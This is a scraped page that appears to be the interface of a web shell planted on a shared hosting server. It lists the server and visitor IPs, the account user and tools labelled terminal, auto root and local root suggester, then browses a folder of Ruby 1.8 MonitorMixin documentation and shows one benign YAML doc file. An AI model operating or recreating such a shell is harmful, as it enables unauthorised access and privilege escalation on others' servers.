Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 216.73.216.155
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby18 /
share /
ri /
1.8 /
system /
MonitorMixin /
Delete
Unzip
Name
Size
Permission
Date
Action
ConditionVariable
[ DIR ]
drwxr-xr-x
2024-03-03 22:50
cdesc-MonitorMixin.yaml
1.8
KB
-rw-r--r--
2023-07-26 13:47
extend_object-c.yaml
189
B
-rw-r--r--
2023-07-26 13:47
mon_acquire-i.yaml
188
B
-rw-r--r--
2023-07-26 13:47
mon_check_owner-i.yaml
302
B
-rw-r--r--
2023-07-26 13:47
mon_enter-i.yaml
240
B
-rw-r--r--
2023-07-26 13:47
mon_enter_for_cond-i.yaml
202
B
-rw-r--r--
2023-07-26 13:47
mon_exit-i.yaml
238
B
-rw-r--r--
2023-07-26 13:47
mon_exit_for_cond-i.yaml
195
B
-rw-r--r--
2023-07-26 13:47
mon_initialize-i.yaml
293
B
-rw-r--r--
2023-07-26 13:47
mon_release-i.yaml
264
B
-rw-r--r--
2023-07-26 13:47
mon_synchronize-i.yaml
439
B
-rw-r--r--
2023-07-26 13:47
mon_try_enter-i.yaml
346
B
-rw-r--r--
2023-07-26 13:47
new-c.yaml
171
B
-rw-r--r--
2023-07-26 13:47
new_cond-i.yaml
408
B
-rw-r--r--
2023-07-26 13:47
synchronize-i.yaml
247
B
-rw-r--r--
2023-07-26 13:47
try_mon_enter-i.yaml
249
B
-rw-r--r--
2023-07-26 13:47
Save
Rename
--- !ruby/object:RI::ClassDescription attributes: [] class_methods: - !ruby/object:RI::MethodSummary name: extend_object - !ruby/object:RI::MethodSummary name: new comment: - !ruby/struct:SM::Flow::P body: "Adds monitor functionality to an arbitrary object by mixing the module with <tt>include</tt>. For example:" - !ruby/struct:SM::Flow::VERB body: " require 'monitor.rb'\n\n buf = []\n buf.extend(MonitorMixin)\n empty_cond = buf.new_cond\n\n # consumer\n Thread.start do\n loop do\n buf.synchronize do\n empty_cond.wait_while { buf.empty? }\n print buf.shift\n end\n end\n end\n\n # producer\n while line = ARGF.gets\n buf.synchronize do\n buf.push(line)\n empty_cond.signal\n end\n end\n" - !ruby/struct:SM::Flow::P body: The consumer thread waits for the producer thread to push a line to buf while buf.empty?, and the producer thread (main thread) reads a line from ARGF and push it to buf, then call empty_cond.signal. constants: [] full_name: MonitorMixin includes: [] instance_methods: - !ruby/object:RI::MethodSummary name: mon_acquire - !ruby/object:RI::MethodSummary name: mon_check_owner - !ruby/object:RI::MethodSummary name: mon_enter - !ruby/object:RI::MethodSummary name: mon_enter_for_cond - !ruby/object:RI::MethodSummary name: mon_exit - !ruby/object:RI::MethodSummary name: mon_exit_for_cond - !ruby/object:RI::MethodSummary name: mon_initialize - !ruby/object:RI::MethodSummary name: mon_release - !ruby/object:RI::MethodSummary name: mon_synchronize - !ruby/object:RI::MethodSummary name: mon_try_enter - !ruby/object:RI::MethodSummary name: new_cond - !ruby/object:RI::MethodSummary name: synchronize - !ruby/object:RI::MethodSummary name: try_mon_enter name: MonitorMixin superclass: